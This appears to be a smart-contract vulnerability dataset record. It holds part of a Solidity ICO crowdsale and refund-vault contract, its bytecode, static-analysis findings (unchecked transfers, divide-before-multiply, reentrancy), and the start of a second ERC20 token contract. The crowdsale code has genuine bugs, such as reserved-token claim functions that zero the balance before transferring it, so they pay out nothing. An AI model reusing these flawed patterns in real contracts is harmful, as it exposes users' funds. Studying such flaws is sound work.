// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract CryptoRoboticsToken {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
function burn(uint256 value) public;
}
contract RefundVault is Ownable {
using SafeMath for uint256;
enum State { Active, Refunding, Closed }
mapping (address => uint256) public deposited;
address public wallet;
State public state;
event Closed();
event RefundsEnabled();
event Refunded(address indexed beneficiary, uint256 weiAmount);
/**
* @param _wallet Vault address
*/
function RefundVault(address _wallet) public {
require(_wallet != address(0));
wallet = _wallet;
state = State.Active;
}
/**
* @param investor Investor address
*/
function deposit(address investor) onlyOwner public payable {
require(state == State.Active);
deposited[investor] = deposited[investor].add(msg.value);
}
function close() onlyOwner public {
require(state == State.Active);
state = State.Closed;
emit Closed();
wallet.transfer(address(this).balance);
}
function enableRefunds() onlyOwner public {
require(state == State.Active);
state = State.Refunding;
emit RefundsEnabled();
}
/**
* @param investor Investor address
*/
function refund(address investor) public {
require(state == State.Refunding);
uint256 depositedValue = deposited[investor];
deposited[investor] = 0;
investor.transfer(depositedValue);
emit Refunded(investor, depositedValue);
}
}
contract Crowdsale is Ownable {
using SafeMath for uint256;
// The token being sold
CryptoRoboticsToken public token;
//MAKE APPROVAL TO Crowdsale
address public reserve_fund = 0x7C88C296B9042946f821F5456bd00EA92a13B3BB;
address preico;
// Address where funds are collected
address public wallet;
// Amount of wei raised
uint256 public weiRaised;
uint256 public openingTime;
uint256 public closingTime;
bool public isFinalized = false;
uint public currentStage = 0;
uint256 public goal = 1000 ether;
uint256 public cap = 6840 ether;
RefundVault public vault;
//price in wei for stage
uint[4] public stagePrices = [
127500000000000 wei, //0.000085 - ICO Stage 1
135 szabo, //0.000090 - ICO Stage 2
142500000000000 wei, //0.000095 - ICO Stage 3
150 szabo //0.0001 - ICO Stage 4
];
//limit in wei for stage 612 + 1296 + 2052 + 2880
uint[4] internal stageLimits = [
612 ether, //4800000 tokens 10% of ICO tokens (ICO token 40% of all (48 000 000) )
1296 ether, //9600000 tokens 20% of ICO tokens
2052 ether, //14400000 tokens 30% of ICO tokens
2880 ether //19200000 tokens 40% of ICO tokens
];
mapping(address => bool) public referrals;
mapping(address => uint) public reservedTokens;
mapping(address => uint) public reservedRefsTokens;
uint public amountReservedTokens;
uint public amountReservedRefsTokens;
event Finalized();
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
event TokenReserved(address indexed beneficiary, uint256 value, uint256 amount, address referral);
modifier onlyWhileOpen {
require(now >= openingTime && now <= closingTime);
_;
}
modifier onlyPreIco {
require(msg.sender == preico);
_;
}
function Crowdsale(CryptoRoboticsToken _token) public
{
require(_token != address(0));
wallet = 0x3eb945fd746fbdf641f1063731d91a6fb381ea0f;
token = _token;
openingTime = 1526774400;
closingTime = 1532044800;
vault = new RefundVault(wallet);
}
function () external payable {
buyTokens(msg.sender, address(0));
}
function buyTokens(address _beneficiary, address _ref) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
_getTokenAmount(weiAmount,true,_beneficiary,_ref);
}
function reserveTokens(address _ref) public payable {
uint256 weiAmount = msg.value;
_preValidateReserve(msg.sender, weiAmount, _ref);
_getTokenAmount(weiAmount, false,msg.sender,_ref);
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal view onlyWhileOpen {
require(weiRaised.add(_weiAmount) <= cap);
require(_weiAmount >= stagePrices[currentStage]);
require(_beneficiary != address(0));
}
function _preValidateReserve(address _beneficiary, uint256 _weiAmount, address _ref) internal view {
require(now < openingTime);
require(referrals[_ref]);
require(weiRaised.add(_weiAmount) <= cap);
require(_weiAmount >= stagePrices[currentStage]);
require(_beneficiary != address(0));
}
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal {
token.transfer(_beneficiary, _tokenAmount);
}
function _processPurchase(address _beneficiary, uint256 _tokenAmount, address _ref) internal {
_tokenAmount = _tokenAmount * 1 ether;
_deliverTokens(_beneficiary, _tokenAmount);
if (referrals[_ref]) {
uint _refTokens = valueFromPercent(_tokenAmount,10);
token.transferFrom(reserve_fund, _ref, _refTokens);
}
}
function _processReserve(address _beneficiary, uint256 _tokenAmount, address _ref) internal {
_tokenAmount = _tokenAmount * 1 ether;
_reserveTokens(_beneficiary, _tokenAmount);
uint _refTokens = valueFromPercent(_tokenAmount,10);
_reserveRefTokens(_ref, _refTokens);
}
function _reserveTokens(address _beneficiary, uint256 _tokenAmount) internal {
reservedTokens[_beneficiary] = reservedTokens[_beneficiary].add(_tokenAmount);
amountReservedTokens = amountReservedTokens.add(_tokenAmount);
}
function _reserveRefTokens(address _beneficiary, uint256 _tokenAmount) internal {
reservedRefsTokens[_beneficiary] = reservedRefsTokens[_beneficiary].add(_tokenAmount);
amountReservedRefsTokens = amountReservedRefsTokens.add(_tokenAmount);
}
function getReservedTokens() public {
require(now >= openingTime);
require(reservedTokens[msg.sender] > 0);
amountReservedTokens = amountReservedTokens.sub(reservedTokens[msg.sender]);
reservedTokens[msg.sender] = 0;
token.transfer(msg.sender, reservedTokens[msg.sender]);
}
function getRefReservedTokens() public {
require(now >= openingTime);
require(reservedRefsTokens[msg.sender] > 0);
amountReservedRefsTokens = amountReservedRefsTokens.sub(reservedRefsTokens[msg.sender]);
reservedRefsTokens[msg.sender] = 0;
token.transferFrom(reserve_fund, msg.sender, reservedRefsTokens[msg.sender]);
}
function valueFromPercent(uint _value, uint _percent) internal pure returns(uint amount) {
uint _amount = _value.mul(_percent).div(100);
return (_amount);
}
function _getTokenAmount(uint256 _weiAmount, bool _buy, address _beneficiary, address _ref) internal {
uint256 weiAmount = _weiAmount;
uint _tokens = 0;
uint _tokens_price = 0;
uint _current_tokens = 0;
for (uint p = currentStage; p < 4 && _weiAmount >= stagePrices[p]; p++) {
if (stageLimits[p] > 0 ) {
//если лимит больше чем _weiAmount, тогда считаем все из расчета что вписываемся в лимит
//и выходим из цикла
if (stageLimits[p] > _weiAmount) {
//количество токенов по текущему прайсу (останется остаток если прислали больше чем на точное количество монет)
_current_tokens = _weiAmount.div(stagePrices[p]);
//цена всех монет, чтобы определить остаток неизрасходованных wei
_tokens_price = _current_tokens.mul(stagePrices[p]);
//получаем остаток
_weiAmount = _weiAmount.sub(_tokens_price);
//добавляем токены текущего стэйджа к общему количеству
_tokens = _tokens.add(_current_tokens);
//обновляем лимиты
stageLimits[p] = stageLimits[p].sub(_tokens_price);
break;
} else { //лимит меньше чем количество wei
//получаем все оставшиеся токены в стейдже
_current_tokens = stageLimits[p].div(stagePrices[p]);
_weiAmount = _weiAmount.sub(stageLimits[p]);
_tokens = _tokens.add(_current_tokens);
stageLimits[p] = 0;
_updateStage();
}
}
}
weiAmount = weiAmount.sub(_weiAmount);
weiRaised = weiRaised.add(weiAmount);
if (_buy) {
_processPurchase(_beneficiary, _tokens, _ref);
emit TokenPurchase(msg.sender, _beneficiary, weiAmount, _tokens);
} else {
_processReserve(msg.sender, _tokens, _ref);
emit TokenReserved(msg.sender, weiAmount, _tokens, _ref);
}
//отправляем обратно неизрасходованный остаток
if (_weiAmount > 0) {
msg.sender.transfer(_weiAmount);
}
// update state
_forwardFunds(weiAmount);
}
function _updateStage() internal {
if ((stageLimits[currentStage] == 0) && currentStage < 3) {
currentStage++;
}
}
function _forwardFunds(uint _weiAmount) internal {
vault.deposit.value(_weiAmount)(msg.sender);
}
function hasClosed() public view returns (bool) {
return now > closingTime;
}
function capReached() public view returns (bool) {
return weiRaised >= cap;
}
function goalReached() public view returns (bool) {
return weiRaised >= goal;
}
function finalize() onlyOwner public {
require(!isFinalized);
require(hasClosed() || capReached());
finalization();
emit Finalized();
isFinalized = true;
}
function finalization() internal {
if (goalReached()) {
vault.close();
} else {
vault.enableRefunds();
}
uint token_balace = token.balanceOf(this);
token_balace = token_balace.sub(amountReservedTokens);//
token.burn(token_balace);
}
function addReferral(address _ref) external onlyOwner {
referrals[_ref] = true;
}
function removeReferral(address _ref) external onlyOwner {
referrals[_ref] = false;
}
function setPreIco(address _preico) onlyOwner public {
preico = _preico;
}
function setTokenCountFromPreIco(uint _value) onlyPreIco public{
_value = _value.div(1 ether);
uint weis = _value.mul(stagePrices[3]);
stageLimits[3] = stageLimits[3].add(weis);
cap = cap.add(weis);
}
function claimRefund() public {
require(isFinalized);
require(!goalReached());
vault.refund(msg.sender);
}
}
|
0x606060405260043610610196576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630d57a47f146101a35780631515bc2b146101c657806321bc9a55146101f3578063355274ea1461024057806340193883146102695780634042b66f146102925780634b6753bc146102bb5780634bb278f3146102e45780634f4fa5a6146102f95780634f93594514610332578063521eb2731461035f57806359c2b584146103b45780635bf5d54c1461040957806376ef3ac7146104325780637d3d65221461047f578063835bbd55146104ac5780638d4e4083146104da5780638da5cb5b146105075780639a526b971461055c5780639ca423b3146105955780639e64a10d146105e6578063a16f37741461061d578063b5545a3c14610632578063b7a8807c14610647578063bd8d5ce314610670578063e8aca46a14610699578063ebd8d7a0146106d2578063efc8d3c6146106e7578063f148e05914610710578063f2fde38b1461075d578063fbfa77cf14610796578063fc0c546a146107eb575b6101a1336000610840565b005b34156101ae57600080fd5b6101c46004808035906020019091905050610861565b005b34156101d157600080fd5b6101d961095a565b604051808215151515815260200191505060405180910390f35b61023e600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610840565b005b341561024b57600080fd5b610253610966565b6040518082815260200191505060405180910390f35b341561027457600080fd5b61027c61096c565b6040518082815260200191505060405180910390f35b341561029d57600080fd5b6102a5610972565b6040518082815260200191505060405180910390f35b34156102c657600080fd5b6102ce610978565b6040518082815260200191505060405180910390f35b34156102ef57600080fd5b6102f761097e565b005b341561030457600080fd5b610330600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610a68565b005b341561033d57600080fd5b610345610b1e565b604051808215151515815260200191505060405180910390f35b341561036a57600080fd5b610372610b2d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156103bf57600080fd5b6103c7610b53565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561041457600080fd5b61041c610b79565b6040518082815260200191505060405180910390f35b341561043d57600080fd5b610469600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610b7f565b6040518082815260200191505060405180910390f35b341561048a57600080fd5b610492610b97565b604051808215151515815260200191505060405180910390f35b6104d8600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ba6565b005b34156104e557600080fd5b6104ed610bc7565b604051808215151515815260200191505060405180910390f35b341561051257600080fd5b61051a610bda565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561056757600080fd5b610593600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610bff565b005b34156105a057600080fd5b6105cc600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610c9e565b604051808215151515815260200191505060405180910390f35b34156105f157600080fd5b6106076004808035906020019091905050610cbe565b6040518082815260200191505060405180910390f35b341561062857600080fd5b610630610cd8565b005b341561063d57600080fd5b610645610ef3565b005b341561065257600080fd5b61065a610ff0565b6040518082815260200191505060405180910390f35b341561067b57600080fd5b610683610ff6565b6040518082815260200191505060405180910390f35b34156106a457600080fd5b6106d0600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ffc565b005b34156106dd57600080fd5b6106e56110b2565b005b34156106f257600080fd5b6106fa611323565b6040518082815260200191505060405180910390f35b341561071b57600080fd5b610747600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611329565b6040518082815260200191505060405180910390f35b341561076857600080fd5b610794600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611341565b005b34156107a157600080fd5b6107a9611496565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156107f657600080fd5b6107fe6114bc565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b600034905061084f83826114e2565b61085c8160018585611587565b505050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108bf57600080fd5b6108da670de0b6b3a7640000836118ec90919063ffffffff16565b9150610900600d60036004811015156108ef57fe5b01548361190790919063ffffffff16565b9050610926816011600360048110151561091657fe5b015461194290919063ffffffff16565b6011600360048110151561093657fe5b018190555061095081600b5461194290919063ffffffff16565b600b819055505050565b60006007544211905090565b600b5481565b600a5481565b60055481565b60075481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156109d957600080fd5b600860009054906101000a900460ff161515156109f557600080fd5b6109fd61095a565b80610a0c5750610a0b610b1e565b5b1515610a1757600080fd5b610a1f611960565b7f6823b073d48d6e3a7d385eeb601452d680e74bb46afe3255a7d778f3a9b1768160405160405180910390a16001600860006101000a81548160ff021916908315150217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ac357600080fd5b6000601560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600b546005541015905090565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60095481565b60176020528060005260406000206000915090505481565b6000600a546005541015905090565b6000349050610bb6338284611c2e565b610bc38160003385611587565b5050565b600860009054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c5a57600080fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60156020528060005260406000206000915054906101000a900460ff1681565b600d81600481101515610ccd57fe5b016000915090505481565b6006544210151515610ce957600080fd5b6000601660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111515610d3757600080fd5b610d8b601660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054601854611d1d90919063ffffffff16565b6018819055506000601660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33601660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515610ed957600080fd5b5af11515610ee657600080fd5b5050506040518051905050565b600860009054906101000a900460ff161515610f0e57600080fd5b610f16610b97565b151515610f2257600080fd5b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663fa89401a336040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b1515610fde57600080fd5b5af11515610feb57600080fd5b505050565b60065481565b60185481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561105757600080fd5b6001601560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60065442101515156110c357600080fd5b6000601760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411151561111157600080fd5b611165601760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054601954611d1d90919063ffffffff16565b6019819055506000601760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1633601760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b151561130957600080fd5b5af1151561131657600080fd5b5050506040518051905050565b60195481565b60166020528060005260406000206000915090505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561139c57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156113d857600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60065442101580156114f657506007544211155b151561150157600080fd5b600b546115198260055461194290919063ffffffff16565b1115151561152657600080fd5b600d60095460048110151561153757fe5b0154811015151561154757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415151561158357600080fd5b5050565b600080600080600088945060009350600092506000915060095490505b6004811080156115c45750600d816004811015156115be57fe5b01548910155b156117455760006011826004811015156115da57fe5b0154111561173857886011826004811015156115f257fe5b015411156116aa5761161d600d8260048110151561160c57fe5b01548a6118ec90919063ffffffff16565b9150611642600d8260048110151561163157fe5b01548361190790919063ffffffff16565b9250611657838a611d1d90919063ffffffff16565b985061166c828561194290919063ffffffff16565b93506116918360118360048110151561168157fe5b0154611d1d90919063ffffffff16565b6011826004811015156116a057fe5b0181905550611745565b6116dd600d826004811015156116bc57fe5b01546011836004811015156116cd57fe5b01546118ec90919063ffffffff16565b91506117026011826004811015156116f157fe5b01548a611d1d90919063ffffffff16565b9850611717828561194290919063ffffffff16565b9350600060118260048110151561172a57fe5b0181905550611737611d36565b5b80806001019150506115a4565b6117588986611d1d90919063ffffffff16565b945061176f8560055461194290919063ffffffff16565b60058190555087156117f857611786878588611d74565b8673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f623b3804fa71d67900d064613da8f94b9617215ee90799290593e1745087ad188787604051808381526020018281526020019250505060405180910390a361188e565b611803338588611f25565b3373ffffffffffffffffffffffffffffffffffffffff167fe8e9a7dfa39d04bd027c84574f2cd141744d736cb00fa7f6731b5f7303586834868689604051808481526020018381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001935050505060405180910390a25b60008911156118d8573373ffffffffffffffffffffffffffffffffffffffff166108fc8a9081150290604051600060405180830381858888f1935050505015156118d757600080fd5b5b6118e185611f5b565b505050505050505050565b60008082848115156118fa57fe5b0490508091505092915050565b600080600084141561191c576000915061193b565b828402905082848281151561192d57fe5b0414151561193757fe5b8091505b5092915050565b600080828401905083811015151561195657fe5b8091505092915050565b600061196a610b97565b15611a0957600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166343d726d66040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401600060405180830381600087803b15156119f457600080fd5b5af11515611a0157600080fd5b505050611a9f565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638c52dc416040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401600060405180830381600087803b1515611a8e57600080fd5b5af11515611a9b57600080fd5b5050505b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1515611b5b57600080fd5b5af11515611b6857600080fd5b505050604051805190509050611b8960185482611d1d90919063ffffffff16565b9050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166342966c68826040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b1515611c1b57600080fd5b5af11515611c2857600080fd5b50505050565b60065442101515611c3e57600080fd5b601560008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611c9657600080fd5b600b54611cae8360055461194290919063ffffffff16565b11151515611cbb57600080fd5b600d600954600481101515611ccc57fe5b01548210151515611cdc57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611d1857600080fd5b505050565b6000828211151515611d2b57fe5b818303905092915050565b60006011600954600481101515611d4957fe5b0154148015611d5a57506003600954105b15611d72576009600081548092919060010191905055505b565b6000670de0b6b3a764000083029250611d8d848461202b565b601560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611f1f57611dea83600a61210b565b9050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684846040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b1515611f0657600080fd5b5af11515611f1357600080fd5b50505060405180519050505b50505050565b6000670de0b6b3a764000083029250611f3e8484612140565b611f4983600a61210b565b9050611f5582826121f4565b50505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f340fa0182336040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019150506000604051808303818588803b151561201757600080fd5b5af1151561202457600080fd5b5050505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15156120ef57600080fd5b5af115156120fc57600080fd5b50505060405180519050505050565b6000806121346064612126858761190790919063ffffffff16565b6118ec90919063ffffffff16565b90508091505092915050565b61219281601660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461194290919063ffffffff16565b601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506121ea8160185461194290919063ffffffff16565b6018819055505050565b61224681601760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461194290919063ffffffff16565b601760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061229e8160195461194290919063ffffffff16565b60198190555050505600a165627a7a723058206f0618de1998def268f921004c7a27f597204e1c402b18c0c7a7fdd24ddee5bd0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 3,993 |
0x16be21c08eb27953273608629e4397556c561d26
|
pragma solidity 0.5.11;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic, Ownable {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balanceOf(msg.sender));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(allowed[_from][msg.sender] >= _value);
require(balanceOf(_from) >= _value);
require(balances[_to].add(_value) > balances[_to]); // Check for overflows
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
